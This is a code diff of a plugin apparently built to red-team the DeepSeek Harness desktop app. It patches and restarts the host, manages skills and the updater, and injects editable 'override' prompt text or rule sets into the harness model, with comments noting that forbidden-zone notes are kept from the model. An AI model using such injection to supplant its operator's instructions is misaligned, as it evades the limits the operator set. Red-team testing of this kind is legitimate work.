// CLI 独立宿主(dsh web / plugin 等),不占桌面单实例锁,不能一起杀。
|
||||
if (cmd.includes("/dsh-desktop-host/lib/cli.js")) continue;
|
||||
if (cmd === exe || cmd.startsWith(`${exe} `) || cmd.startsWith(frameworks)) {
|
||||
pids.push(pid);
|
||||
}
|
||||
}
|
||||
return [...new Set(pids)];
|
||||
}
|
||||
|
||||
function commandMatchesExe(cmd, exe) {
|
||||
if (!cmd || !exe) return false;
|
||||
if (cmd.includes("/dsh-desktop-host/lib/cli.js")) return false;
|
||||
return cmd === exe || cmd.startsWith(`${exe} `) || cmd.startsWith(`${exe}\t`);
|
||||
}
|
||||
|
||||
function listPosixPids(exe) {
|
||||
if (!exe) return [];
|
||||
let out = "";
|
||||
try {
|
||||
out = execFileSync("ps", ["-Ao", "pid=,command="], {
|
||||
encoding: "utf8",
|
||||
timeout: 8000,
|
||||
});
|
||||
} catch {
|
||||
return [];
|
||||
}
|
||||
const pids = [];
|
||||
for (const line of String(out || "").split(/\n/)) {
|
||||
const trimmed = line.trim();
|
||||
if (!trimmed) continue;
|
||||
const sp = trimmed.search(/\s/);
|
||||
if (sp < 0) continue;
|
||||
const pid = Number(trimmed.slice(0, sp).trim());
|
||||
const cmd = trimmed.slice(sp + 1).trim();
|
||||
if (!pid || !commandMatchesExe(cmd, exe)) continue;
|
||||
pids.push(pid);
|
||||
}
|
||||
return [...new Set(pids)];
|
||||
}
|
||||
|
||||
function listDesktopPids(exe = info.execPath) {
|
||||
if (process.platform === "darwin") return listDarwinPids(exe);
|
||||
if (process.platform !== "win32") return listPosixPids(exe);
|
||||
const images = ["DeepSeek Harness.exe", "DSH Desktop.exe"];
|
||||
const pids = [];
|
||||
for (const image of images) {
|
||||
@@ -84,32 +191,170 @@ function listDesktopPids() {
|
||||
return pids;
|
||||
}
|
||||
|
||||
function killOtherDesktopProcesses(keepPid) {
|
||||
for (const pid of listDesktopPids()) {
|
||||
if (pid === keepPid || pid === process.pid) continue;
|
||||
function signalPids(pids, signal) {
|
||||
for (const pid of pids) {
|
||||
if (pid === process.pid) continue;
|
||||
try {
|
||||
process.kill(pid);
|
||||
process.kill(pid, signal);
|
||||
} catch {
|
||||
// 已经退了
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async function waitDesktopGone(exe, timeoutMs = 8000) {
|
||||
const deadline = Date.now() + timeoutMs;
|
||||
while (Date.now() < deadline) {
|
||||
const left = listDesktopPids(exe).filter((pid) => pid !== process.pid);
|
||||
if (left.length === 0) return true;
|
||||
await sleep(200);
|
||||
}
|
||||
return listDesktopPids(exe).filter((pid) => pid !== process.pid).length === 0;
|
||||
}
|
||||
|
||||
async function quitPosixDesktop(exe) {
|
||||
signalPids(listDesktopPids(exe), "SIGTERM");
|
||||
if (await waitDesktopGone(exe, 8000)) {
|
||||
log("quit by SIGTERM");
|
||||
return "SIGTERM";
|
||||
}
|
||||
signalPids(listDesktopPids(exe), "SIGKILL");
|
||||
await waitDesktopGone(exe, 2000);
|
||||
log("quit by SIGKILL");
|
||||
return "SIGKILL";
|
||||
}
|
||||
|
||||
async function quitDarwinDesktop(exe) {
|
||||
const bundle = darwinBundleOf(exe);
|
||||
const name = darwinBundleName(bundle);
|
||||
if (name) {
|
||||
try {
|
||||
execFileSync(
|
||||
"osascript",
|
||||
["-e", `if application "${name}" is running then tell application "${name}" to quit`],
|
||||
{ timeout: 15000 },
|
||||
);
|
||||
log("osascript quit sent");
|
||||
} catch (e) {
|
||||
log(`osascript quit failed: ${e && e.message ? e.message : e}`);
|
||||
}
|
||||
if (await waitDesktopGone(exe, 8000)) {
|
||||
log("quit by apple event");
|
||||
return "apple-event";
|
||||
}
|
||||
}
|
||||
signalPids(listDesktopPids(exe), "SIGTERM");
|
||||
if (await waitDesktopGone(exe, 5000)) {
|
||||
log("quit by SIGTERM");
|
||||
return "SIGTERM";
|
||||
}
|
||||
signalPids(listDesktopPids(exe), "SIGKILL");
|
||||
await waitDesktopGone(exe, 2000);
|
||||
log("quit by SIGKILL");
|
||||
return "SIGKILL";
|
||||
}
|
||||
|
||||
function killOtherDesktopProcesses(keepPid, exe = info.execPath) {
|
||||
for (const pid of listDesktopPids(exe)) {
|
||||
if (pid === keepPid || pid === process.pid) continue;
|
||||
try {
|
||||
process.kill(pid, process.platform === "darwin" ? "SIGTERM" : undefined);
|
||||
} catch {
|
||||
// 已经退了
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async function moveAsarAsideAsync(asar) {
|
||||
if (!asar) return false;
|
||||
try {
|
||||
if (!fs.existsSync(asar) || !fs.statSync(asar).isFile()) return true;
|
||||
} catch {
|
||||
return true;
|
||||
}
|
||||
const bak = `${asar}.bak`;
|
||||
try {
|
||||
if (fs.existsSync(bak)) fs.rmSync(bak, { force: true });
|
||||
} catch {
|
||||
// keep going
|
||||
}
|
||||
for (let i = 0; i < 40; i++) {
|
||||
try {
|
||||
fs.renameSync(asar, bak);
|
||||
log(`asar moved to ${bak}`);
|
||||
return true;
|
||||
} catch {
|
||||
await sleep(200);
|
||||
}
|
||||
}
|
||||
log("asar move failed after retries");
|
||||
return false;
|
||||
}
|
||||
|
||||
function relaunchDesktop() {
|
||||
if (!info.execPath) {
|
||||
process.exit(1);
|
||||
}
|
||||
const env = spawnEnv();
|
||||
if (process.platform === "darwin") {
|
||||
const bundle = darwinBundleOf(info.execPath);
|
||||
if (bundle) {
|
||||
const child = spawn("open", [bundle], {
|
||||
detached: true,
|
||||
stdio: "ignore",
|
||||
env,
|
||||
shell: false,
|
||||
});
|
||||
child.on("error", () => process.exit(1));
|
||||
child.unref();
|
||||
log("relaunched via open");
|
||||
return;
|
||||
}
|
||||
}
|
||||
const child = spawn(info.execPath, Array.isArray(info.argv) ? info.argv : [], {
|
||||
detached: true,
|
||||
stdio: "ignore",
|
||||
cwd: info.cwd || process.cwd(),
|
||||
env,
|
||||
windowsHide: true,
|
||||
shell: false,
|
||||
});
|
||||
child.on("error", () => process.exit(1));
|
||||
child.unref();
|
||||
log("relaunched via execPath");
|
||||
}
|
||||
|
||||
if (info.killApp) {
|
||||
await new Promise((r) => setTimeout(r, 400));
|
||||
await sleep(400);
|
||||
for (const dir of cleanup) rmTree(dir);
|
||||
if (info.helper) {
|
||||
try { fs.unlinkSync(info.helper); } catch { /* ignore */ }
|
||||
try {
|
||||
fs.unlinkSync(info.helper);
|
||||
} catch {
|
||||
/* ignore */
|
||||
}
|
||||
}
|
||||
killOtherDesktopProcesses(process.pid);
|
||||
await new Promise((r) => setTimeout(r, 500));
|
||||
if (process.platform === "darwin") {
|
||||
await quitDarwinDesktop(info.execPath);
|
||||
} else if (process.platform === "win32") {
|
||||
killOtherDesktopProcesses(process.pid);
|
||||
await sleep(500);
|
||||
} else {
|
||||
await quitPosixDesktop(info.execPath);
|
||||
}
|
||||
if (info.asar) await moveAsarAsideAsync(info.asar);
|
||||
} else {
|
||||
const gone = await waitPidGone(info.pid);
|
||||
if (!gone) process.exit(1);
|
||||
for (const dir of cleanup) rmTree(dir);
|
||||
if (info.helper) {
|
||||
try { fs.unlinkSync(info.helper); } catch { /* ignore */ }
|
||||
try {
|
||||
fs.unlinkSync(info.helper);
|
||||
} catch {
|
||||
/* ignore */
|
||||
}
|
||||
}
|
||||
if (info.asar) await moveAsarAsideAsync(info.asar);
|
||||
}
|
||||
|
||||
if (info.respawn === false) {
|
||||
@@ -118,15 +363,6 @@ if (info.respawn === false) {
|
||||
|
||||
if (!info.execPath) process.exit(1);
|
||||
|
||||
const child = spawn(info.execPath, Array.isArray(info.argv) ? info.argv : [], {
|
||||
detached: true,
|
||||
stdio: "ignore",
|
||||
cwd: info.cwd || process.cwd(),
|
||||
env: spawnEnv(),
|
||||
windowsHide: true,
|
||||
shell: false,
|
||||
});
|
||||
child.on("error", () => process.exit(1));
|
||||
child.unref();
|
||||
await new Promise((r) => setTimeout(r, 400));
|
||||
relaunchDesktop();
|
||||
await sleep(400);
|
||||
process.exit(0);
|
||||
+10
-3
@@ -77,20 +77,27 @@ const child = spawn(info.execPath, info.argv, {
|
||||
shell: false,
|
||||
});
|
||||
child.on("error", () => process.exit(1));
|
||||
const wantBrowser = info.openBrowser !== false;
|
||||
const takeUrl = (chunk) => {
|
||||
const text = String(chunk || "");
|
||||
if (opened) return;
|
||||
const match = text.match(/dsh web:\s+(https?:\/\/\S+)/);
|
||||
if (!match) return;
|
||||
opened = true;
|
||||
if (!wantBrowser) return;
|
||||
const url = match[1].replace(/[),.;]+$/, "");
|
||||
openBrowser(url);
|
||||
};
|
||||
child.stdout?.on("data", takeUrl);
|
||||
child.stderr?.on("data", takeUrl);
|
||||
child.unref();
|
||||
const started = Date.now();
|
||||
while (!opened && Date.now() - started < 20000) {
|
||||
await new Promise((r) => setTimeout(r, 200));
|
||||
if (wantBrowser) {
|
||||
const started = Date.now();
|
||||
while (!opened && Date.now() - started < 20000) {
|
||||
await new Promise((r) => setTimeout(r, 200));
|
||||
}
|
||||
} else {
|
||||
// 等子进程真正起来再退出,避免端口未监听时父链误判失败又拉一把。
|
||||
await new Promise((r) => setTimeout(r, 1500));
|
||||
}
|
||||
process.exit(0);
|
||||
+40
-1
@@ -161,11 +161,37 @@ export function planRewind(events) {
|
||||
if (!lastUser) {
|
||||
return { ok: false, error: "没有可回退的上一句" };
|
||||
}
|
||||
// 从该用户句所在回合的起点切:只切 lastUser.seq 会留下同轮 assistant/tool,下次发送不算全新。
|
||||
let turnStartSeq = null;
|
||||
for (let i = list.length - 1; i >= 0; i -= 1) {
|
||||
const ev = list[i];
|
||||
if (!ev || ev.seq > lastUser.seq) continue;
|
||||
if (ev.type === "turn/end") break;
|
||||
if (ev.type === "turn/start") {
|
||||
turnStartSeq = ev.seq;
|
||||
break;
|
||||
}
|
||||
}
|
||||
let fromSeq = lastUser.seq;
|
||||
if (turnStartSeq != null) {
|
||||
for (const ev of list) {
|
||||
if (!ev || ev.seq < turnStartSeq || ev.seq > lastUser.seq) continue;
|
||||
if (
|
||||
ev.type === "user/message"
|
||||
|| ev.type === "assistant/message"
|
||||
|| ev.type === "tool/result"
|
||||
|| ev.type === "developer/message"
|
||||
) {
|
||||
fromSeq = ev.seq;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
return {
|
||||
ok: true,
|
||||
mode: "input",
|
||||
text: userTextFromEvent(lastUser),
|
||||
fromSeq: lastUser.seq,
|
||||
fromSeq,
|
||||
};
|
||||
}
|
||||
|
||||
@@ -334,6 +360,15 @@ function resetRequestSeries(ctx, sessionId) {
|
||||
if (!agent) return;
|
||||
try { agent.requestHeaderLogged = false; } catch { /* ignore */ }
|
||||
try { agent.requestSurfaceGeneration = -1; } catch { /* ignore */ }
|
||||
try { agent.frozenMessages?.clear?.(); } catch { /* ignore */ }
|
||||
}
|
||||
|
||||
/** surface replace 后强制丢掉 derive 缓存,避免仍带着被切掉的旧消息。 */
|
||||
function invalidateDerivedCache(session) {
|
||||
if (!session) return;
|
||||
try { session.derived = []; } catch { /* ignore */ }
|
||||
try { session.derivedNodes = 0; } catch { /* ignore */ }
|
||||
try { session.derivedGeneration = -1; } catch { /* ignore */ }
|
||||
}
|
||||
|
||||
export function wrapSessionDeriveMessages(session) {
|
||||
@@ -479,10 +514,14 @@ function clearModelHistory(session, text, fromSeq = 0) {
|
||||
surfaceOp: { op: "replace", startSeq, endSeq },
|
||||
sourceEventSeqs: shadowed,
|
||||
});
|
||||
invalidateDerivedCache(session);
|
||||
const left = new Set((session.surface.nodes || []).map((seq) => Number(seq)));
|
||||
if (shadowed.some((seq) => left.has(seq))) {
|
||||
throw new Error("没有清掉之前发送的内容");
|
||||
}
|
||||
if (derivedStillContains(session, text)) {
|
||||
throw new Error("没有清掉之前发送的内容");
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
+30
-17
@@ -1,7 +1,15 @@
|
||||
import fs from "node:fs";
|
||||
import { promises as fsp } from "node:fs";
|
||||
import path from "node:path";
|
||||
import { defaultOverrideText, findDshHome, findOverrideFile, normalizeOverride } from "./core.js";
|
||||
import {
|
||||
findDshHome,
|
||||
findOverrideFile,
|
||||
defaultOverrideText,
|
||||
hangOperatorPrompt,
|
||||
hungOperatorPrompt,
|
||||
normalizeOverride,
|
||||
peekCommittedOverride,
|
||||
} from "./core.js";
|
||||
import { modePromptText } from "./identity.js";
|
||||
|
||||
const RULE_ID_RE = /^[a-zA-Z0-9][a-zA-Z0-9._-]{0,63}$/;
|
||||
@@ -182,34 +190,39 @@ export function overrideFileText(dshHome) {
|
||||
}
|
||||
}
|
||||
|
||||
function promptOrDefault(dshHome) {
|
||||
const disk = normalizeOverride(overrideFileText(dshHome));
|
||||
if (disk) return disk;
|
||||
return normalizeOverride(defaultOverrideText());
|
||||
function diskPrompt(dshHome) {
|
||||
const pinned = peekCommittedOverride(dshHome);
|
||||
if (typeof pinned === "string" && normalizeOverride(pinned)) return normalizeOverride(pinned);
|
||||
return normalizeOverride(overrideFileText(dshHome));
|
||||
}
|
||||
|
||||
/** 没启用规则集时只注入可编辑提示词。启用规则集后以规则集为主。两边都空则不注入。 */
|
||||
/** 磁盘上的提示词优先;没有则用当前规则集;两边都没有就用内置默认。不需要先点保存。 */
|
||||
export function resolveInjectText(dshHome) {
|
||||
const prompt = diskPrompt(dshHome);
|
||||
if (prompt) return { text: prompt, source: "prompt", ruleId: null };
|
||||
const ruleId = activeRuleId(dshHome);
|
||||
const rule = normalizeOverride(activeRuleText(dshHome));
|
||||
if (rule) return { text: rule, source: "rule", ruleId };
|
||||
const prompt = promptOrDefault(dshHome);
|
||||
if (prompt) return { text: prompt, source: "prompt", ruleId: null };
|
||||
const bundled = normalizeOverride(defaultOverrideText());
|
||||
if (bundled) return { text: bundled, source: "default", ruleId: null };
|
||||
return { text: "", source: "none", ruleId };
|
||||
}
|
||||
|
||||
/**
|
||||
* 官方始终用默认提示词全文,含 CTF,不读规则集。
|
||||
* 红队开了规则集就只用规则集,不带默认提示词。
|
||||
* 红队没开规则集时用默认提示词,去掉 CTF。操作说明由组装接在后面。
|
||||
* 禁区说明不进模型。
|
||||
* 每次组装都按当前主目录重读。重启后的空内存不能挡住磁盘或内置默认。
|
||||
* 磁盘和规则集都没有时挂内置默认,打开、应用、重启都不用再点保存。
|
||||
*/
|
||||
export function ensureOperatorBody(dshHome) {
|
||||
const resolved = resolveInjectText(dshHome);
|
||||
if (resolved.text) hangOperatorPrompt(resolved.text);
|
||||
return resolved.text || normalizeOverride(hungOperatorPrompt()) || "";
|
||||
}
|
||||
|
||||
/** 官方和红队同一顺序。红队再去掉 CTF。没有正文时不注入操作者段。 */
|
||||
export function resolveModeInject(dshHome, redteam) {
|
||||
const prompt = promptOrDefault(dshHome);
|
||||
if (!redteam) return modePromptText(prompt, false);
|
||||
const rule = normalizeOverride(activeRuleText(dshHome));
|
||||
if (rule) return modePromptText(rule, true);
|
||||
return modePromptText(prompt, true);
|
||||
const resolved = resolveInjectText(dshHome);
|
||||
if (!resolved.text) return "";
|
||||
return modePromptText(resolved.text, Boolean(redteam));
|
||||
}
|
||||
|
||||
export async function activateRule(dshHome, id) {
|
||||
|
||||
@@ -0,0 +1,57 @@
|
||||
/** 官方桌面启动时 Fiber._reload 还在挂 desktop-office,settle 不得解包/杀进程。 */
|
||||
|
||||
export const DESKTOP_SETTLE_DELAY_MS = 4000;
|
||||
|
||||
export function isInactiveContextError(error) {
|
||||
if (!error) return false;
|
||||
if (error.code === "INACTIVE_EFFECT") return true;
|
||||
return /inactive context/i.test(String(error.message || error));
|
||||
}
|
||||
|
||||
export function watchContextLife(ctx) {
|
||||
const life = { alive: true };
|
||||
if (!ctx || typeof ctx.effect !== "function") return life;
|
||||
try {
|
||||
ctx.effect(() => () => {
|
||||
life.alive = false;
|
||||
});
|
||||
} catch (error) {
|
||||
if (isInactiveContextError(error)) {
|
||||
life.alive = false;
|
||||
return life;
|
||||
}
|
||||
throw error;
|
||||
}
|
||||
return life;
|
||||
}
|
||||
|
||||
export function settleDelayMs(surface) {
|
||||
return surface === "desktop" ? DESKTOP_SETTLE_DELAY_MS : 0;
|
||||
}
|
||||
|
||||
/** 桌面启动自愈不得 requestRestart / taskkill,否则 Cordis 会 INACTIVE_EFFECT。 */
|
||||
export function settleMayRestart({ surface, sealed = false } = {}) {
|
||||
if (surface === "desktop") return false;
|
||||
if (sealed) return false;
|
||||
return true;
|
||||
}
|
||||
|
||||
/** 密封 asar 上就地 extract/swap 会和官方 Host 的 Fiber._reload 抢锁。 */
|
||||
export function settleMayReapply({ surface, sealed = false } = {}) {
|
||||
if (surface === "desktop" && sealed) return false;
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* 点「应用」后是否重启:密封 asar 还要换包就重启;否则只在这次真的写了宿主补丁时重启。
|
||||
* 冷却不放在这里——否则第一次重启没换掉 asar,第二次应用会被当成取消。
|
||||
*/
|
||||
export function applyShouldRestart({
|
||||
complete = false,
|
||||
sealed = false,
|
||||
appliedCount = 0,
|
||||
} = {}) {
|
||||
if (!complete) return false;
|
||||
if (sealed) return true;
|
||||
return Number(appliedCount) > 0;
|
||||
}
|
||||
+59
-7
@@ -67,6 +67,23 @@ function assertInside(root, target) {
|
||||
}
|
||||
}
|
||||
|
||||
/** 源与 $DSH_HOME/skills 重叠时先删后拷会把自己删空(#54)。 */
|
||||
function pathsOverlap(a, b) {
|
||||
const left = path.resolve(String(a || ""));
|
||||
const right = path.resolve(String(b || ""));
|
||||
if (!left || !right) return false;
|
||||
if (left === right) return true;
|
||||
const leftPrefix = left.endsWith(path.sep) ? left : left + path.sep;
|
||||
const rightPrefix = right.endsWith(path.sep) ? right : right + path.sep;
|
||||
return left.startsWith(rightPrefix) || right.startsWith(leftPrefix);
|
||||
}
|
||||
|
||||
function assertImportSourceOutsideSkills(dshHome, srcPath) {
|
||||
const root = skillsDir(dshHome);
|
||||
if (!pathsOverlap(srcPath, root)) return;
|
||||
throw new Error("不能从 $DSH_HOME/skills 自身(或其子目录)导入,请换一个源目录");
|
||||
}
|
||||
|
||||
function yamlScalar(value) {
|
||||
const text = String(value ?? "").trim();
|
||||
if (!text) return '""';
|
||||
@@ -483,7 +500,30 @@ export async function findSkillRoots(root) {
|
||||
return { dirs, flats };
|
||||
}
|
||||
|
||||
async function restoreSkillFromBackup(dshHome, id, backup) {
|
||||
if (!backup) return;
|
||||
const root = skillsDir(dshHome);
|
||||
const bundleSrc = path.join(backup, id);
|
||||
const flatSrc = path.join(backup, `${id}.md`);
|
||||
try {
|
||||
if (await pathExists(bundleSrc)) {
|
||||
const dest = skillBundleDir(dshHome, id);
|
||||
assertInside(root, dest);
|
||||
await fsp.rm(dest, { recursive: true, force: true }).catch(() => {});
|
||||
await copyDir(bundleSrc, dest);
|
||||
}
|
||||
if (await pathExists(flatSrc)) {
|
||||
const dest = skillFlatFile(dshHome, id);
|
||||
assertInside(root, dest);
|
||||
await fsp.copyFile(flatSrc, dest);
|
||||
}
|
||||
} catch {
|
||||
// 回滚失败时保留 backup 路径给调用方。
|
||||
}
|
||||
}
|
||||
|
||||
async function installBundleDir(dshHome, srcDir, fallbackId) {
|
||||
assertImportSourceOutsideSkills(dshHome, srcDir);
|
||||
const mdPath = path.join(srcDir, "SKILL.md");
|
||||
const raw = await fsp.readFile(mdPath, "utf8");
|
||||
const parsed = parseSkillDocument(raw);
|
||||
@@ -491,19 +531,30 @@ async function installBundleDir(dshHome, srcDir, fallbackId) {
|
||||
if (!validSkillName(id)) throw new Error("压缩包/文件夹里没有合法的 Skill 名称");
|
||||
const dest = skillBundleDir(dshHome, id);
|
||||
assertInside(skillsDir(dshHome), dest);
|
||||
if (pathsOverlap(srcDir, dest)) {
|
||||
throw new Error("不能从目标技能目录自身导入,请换一个源目录");
|
||||
}
|
||||
const backup = await backupExisting(dshHome, id);
|
||||
await removeOfficialSkill(dshHome, id);
|
||||
await copyDir(srcDir, dest);
|
||||
const destMd = path.join(dest, "SKILL.md");
|
||||
if (parsed.ok && parsed.name !== id) {
|
||||
await fsp.writeFile(destMd, mergeSkillDocument(id, parsed.description, raw), "utf8");
|
||||
} else if (!parsed.ok && !String(raw).replace(/^\uFEFF/, "").startsWith("---")) {
|
||||
await fsp.writeFile(destMd, renderSkillDocument(id, id, raw), "utf8");
|
||||
try {
|
||||
await copyDir(srcDir, dest);
|
||||
const destMd = path.join(dest, "SKILL.md");
|
||||
if (!(await pathExists(destMd))) throw new Error("导入后缺少 SKILL.md");
|
||||
if (parsed.ok && parsed.name !== id) {
|
||||
await fsp.writeFile(destMd, mergeSkillDocument(id, parsed.description, raw), "utf8");
|
||||
} else if (!parsed.ok && !String(raw).replace(/^\uFEFF/, "").startsWith("---")) {
|
||||
await fsp.writeFile(destMd, renderSkillDocument(id, id, raw), "utf8");
|
||||
}
|
||||
return { id, path: destMd, backup, description: parsed.ok ? parsed.description : id };
|
||||
} catch (err) {
|
||||
await fsp.rm(dest, { recursive: true, force: true }).catch(() => {});
|
||||
await restoreSkillFromBackup(dshHome, id, backup);
|
||||
throw err;
|
||||
}
|
||||
return { id, path: destMd, backup, description: parsed.ok ? parsed.description : id };
|
||||
}
|
||||
|
||||
async function installFlatFile(dshHome, srcFile, fallbackId) {
|
||||
assertImportSourceOutsideSkills(dshHome, srcFile);
|
||||
const raw = await fsp.readFile(srcFile, "utf8");
|
||||
const parsed = parseSkillDocument(raw);
|
||||
const id = parsed.ok ? parsed.name : kebabFromLabel(fallbackId || path.basename(srcFile, ".md"));
|
||||
@@ -512,6 +563,7 @@ async function installFlatFile(dshHome, srcFile, fallbackId) {
|
||||
}
|
||||
|
||||
async function installFoundSkills(dshHome, root, fallbackId) {
|
||||
assertImportSourceOutsideSkills(dshHome, root);
|
||||
const found = await findSkillRoots(root);
|
||||
const imported = [];
|
||||
for (const dir of found.dirs) {
|
||||
|
||||
@@ -5,6 +5,7 @@ import * as core from "./core.js";
|
||||
import * as hostctl from "./host.js";
|
||||
import * as rules from "./rules.js";
|
||||
import * as updater from "./update.js";
|
||||
import { clearDrillGrant } from "./drill-grant.js";
|
||||
|
||||
export function wasApplied(state) {
|
||||
if (!state) return false;
|
||||
@@ -258,6 +259,23 @@ export async function uninstallPurge() {
|
||||
const unreg = unregisterProfiles(profiles);
|
||||
report.stripped = unreg.stripped;
|
||||
report.errors.push(...unreg.errors.map((x) => `${x.profile}: ${x.error}`));
|
||||
if (unreg.errors.length) {
|
||||
report.ok = false;
|
||||
report.needRestart = false;
|
||||
report.cleanup = [];
|
||||
report.drillGrantCleared = false;
|
||||
return report;
|
||||
}
|
||||
|
||||
try {
|
||||
report.drillGrantCleared = clearDrillGrant(dshHome);
|
||||
} catch (e) {
|
||||
report.ok = false;
|
||||
report.needRestart = false;
|
||||
report.cleanup = [];
|
||||
report.errors.push(`clear drill grant: ${e.message || e}`);
|
||||
return report;
|
||||
}
|
||||
|
||||
report.cleanup = collectCleanupDirs(profiles, dshHome);
|
||||
return report;
|
||||
|
||||
+28
-78
@@ -633,34 +633,26 @@ export function markCurrent(versions, state, localVer, localSha) {
|
||||
const pin = String(state?.pin || "");
|
||||
const rows = versions || [];
|
||||
const ver = String(localVer || "").replace(/^v/i, "");
|
||||
const shaMatched = rows.some((item) => localSha && item.sha && sameRev(localSha, item.sha));
|
||||
const versionOnLatest = rows.some((item) => (
|
||||
item.latest
|
||||
&& item.channel === state?.channel
|
||||
&& String(item.version || "").replace(/^v/i, "") === ver
|
||||
));
|
||||
const versionFallback = versionOnLatest ? null : rows.find((item) => (
|
||||
item.channel === state?.channel
|
||||
&& String(item.version || "").replace(/^v/i, "") === ver
|
||||
));
|
||||
return rows.map((item) => {
|
||||
const shaHit = Boolean(!pin && localSha && item.sha && sameRev(localSha, item.sha));
|
||||
const pinHit = Boolean(pin && item.ref === pin);
|
||||
// 提交号对不上时,只把本通道里和本机版本号相同的那一条标成当前。
|
||||
const headHit = Boolean(
|
||||
!pin
|
||||
&& !shaMatched
|
||||
&& ver
|
||||
&& (versionOnLatest
|
||||
? item.latest && item.channel === state?.channel && String(item.version || "").replace(/^v/i, "") === ver
|
||||
: versionFallback && item === versionFallback)
|
||||
);
|
||||
return {
|
||||
...item,
|
||||
shaShort: item.shaShort || (item.sha ? String(item.sha).slice(0, 7) : ""),
|
||||
current: pinHit || shaHit || headHit,
|
||||
};
|
||||
});
|
||||
const channel = state?.channel || "stable";
|
||||
const sameVersion = (item) => ver && String(item?.version || "").replace(/^v/i, "") === ver && item.channel === channel;
|
||||
const sameSha = (item) => Boolean(localSha && item?.sha && sameRev(localSha, item.sha));
|
||||
let chosen = null;
|
||||
if (pin) {
|
||||
chosen = rows.find((item) => item.ref === pin) || null;
|
||||
} else {
|
||||
const pool = rows.filter(sameVersion);
|
||||
// 安装记录里的旧提交号不能把较低版本标成当前。只认和正在跑的 package.json 相同的版本。
|
||||
chosen = pool.find((item) => sameSha(item) && (item.latest || item.ref === "master" || item.kind === "head"))
|
||||
|| pool.find((item) => item.latest || item.ref === "master" || item.kind === "head")
|
||||
|| pool.find((item) => sameSha(item))
|
||||
|| pool[0]
|
||||
|| null;
|
||||
}
|
||||
return rows.map((item) => ({
|
||||
...item,
|
||||
shaShort: item.shaShort || (item.sha ? String(item.sha).slice(0, 7) : ""),
|
||||
current: Boolean(chosen && item === chosen),
|
||||
}));
|
||||
}
|
||||
|
||||
async function listGithubTags() {
|
||||
@@ -1139,54 +1131,12 @@ export async function handleUpdateOp(body = {}) {
|
||||
}
|
||||
|
||||
export async function autoUpdateIfNeeded() {
|
||||
try {
|
||||
const check = await checkUpdate();
|
||||
if (check.pinned) return rememberUpdate({ ...check, auto: true, skipped: "pinned" });
|
||||
const lane = check.lanes?.[check.channel] || check.lanes?.stable || {};
|
||||
const remoteVer = String(lane.version || "").replace(/^v/i, "");
|
||||
const localVer = String(check.localVersion || "").replace(/^v/i, "");
|
||||
if (!versionIsNewer(remoteVer, localVer)) {
|
||||
return rememberUpdate({ ...check, auto: true, hasUpdate: false, skipped: "latest" });
|
||||
}
|
||||
if (!check.hasUpdate) return rememberUpdate({ ...check, auto: true, skipped: "latest" });
|
||||
if (check.updateTarget === BETA_REF && readChannelState().channel !== "beta") {
|
||||
return rememberUpdate({ ...check, auto: true, skipped: "beta" });
|
||||
}
|
||||
const target = currentChannelRef();
|
||||
if (autoUpdateGuardBlocks(target)) {
|
||||
return rememberUpdate({
|
||||
...check,
|
||||
auto: true,
|
||||
skipped: "cooldown",
|
||||
error: "刚刚更新过,跳过本轮以免重启循环",
|
||||
});
|
||||
}
|
||||
const jobs = planUpdates();
|
||||
const dirtyGit = jobs.filter((j) => j.kind === "git" && gitTrackedDirty(j.dir));
|
||||
const runnable = jobs.filter((j) => !(j.kind === "git" && gitTrackedDirty(j.dir)));
|
||||
if (!runnable.length && dirtyGit.length) {
|
||||
return rememberUpdate({
|
||||
...check,
|
||||
auto: true,
|
||||
skipped: "dirty",
|
||||
error: "本地插件文件有未提交改动,未自动覆盖",
|
||||
});
|
||||
}
|
||||
const applied = await applyUpdate(runnable, {
|
||||
ref: target,
|
||||
channel: readChannelState().channel,
|
||||
pin: false,
|
||||
force: false,
|
||||
auto: true,
|
||||
});
|
||||
return rememberUpdate({ ...applied, auto: true });
|
||||
} catch (e) {
|
||||
return rememberUpdate({
|
||||
ok: false,
|
||||
auto: true,
|
||||
hasUpdate: false,
|
||||
error: String(e && e.message ? e.message : e),
|
||||
...channelPublic(),
|
||||
});
|
||||
}
|
||||
// 插件只允许用户在面板手动更新;启动路径永不自动升(版本适配依赖本机宿主)。
|
||||
return rememberUpdate({
|
||||
auto: true,
|
||||
skipped: "manual-only",
|
||||
hasUpdate: false,
|
||||
error: "",
|
||||
...channelPublic(),
|
||||
});
|
||||
}
|
||||
+10
-1
@@ -68,7 +68,14 @@ function spawnRestartHelper(helper, payload, exitAfter = 250) {
|
||||
setTimeout(() => process.exit(0), exitAfter);
|
||||
}
|
||||
|
||||
export function scheduleRestart(request) {
|
||||
/**
|
||||
* @param {object} [request]
|
||||
* @param {unknown} [_ctx]
|
||||
* @param {{ openBrowser?: boolean }} [options]
|
||||
* settle / 自愈重启传 request=null → 默认不弹浏览器,避免关窗后仍被反复拉起新窗口(#59/#61)。
|
||||
*/
|
||||
export function scheduleRestart(request, _ctx, options = {}) {
|
||||
const openBrowser = options.openBrowser ?? (request != null);
|
||||
const helper = fileURLToPath(new URL("./restart-web.js", import.meta.url));
|
||||
spawnRestartHelper(helper, {
|
||||
kind: "web",
|
||||
@@ -78,6 +85,7 @@ export function scheduleRestart(request) {
|
||||
host: hostFromRequest(request),
|
||||
port: portFromRequest(request),
|
||||
pid: process.pid,
|
||||
openBrowser: openBrowser !== false,
|
||||
});
|
||||
}
|
||||
|
||||
@@ -94,5 +102,6 @@ export function scheduleCleanupRestart({ request, restartArgv: argv, cleanup = [
|
||||
port: portFromRequest(request),
|
||||
cleanup,
|
||||
helper: dest,
|
||||
openBrowser: request != null,
|
||||
}, 400);
|
||||
}
|
||||
+10
-1
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"name": "dsh-purge",
|
||||
"version": "1.1.48",
|
||||
"version": "1.1.59",
|
||||
"description": "DeepSeek Harness 网络安全红队工具:本机官方 Harness 受控评测与清洗,内嵌演练台;不同模型可换不同提示词;默认提示词面向国模「小码酱」。求 Star ⭐",
|
||||
"type": "module",
|
||||
"main": "lib/index.js",
|
||||
@@ -74,8 +74,17 @@
|
||||
"@deepseek-ai/dsh-client-ui-slots",
|
||||
"@deepseek-ai/dsh-client-ui-settings"
|
||||
]
|
||||
},
|
||||
"install": {
|
||||
"preferred": "tarball",
|
||||
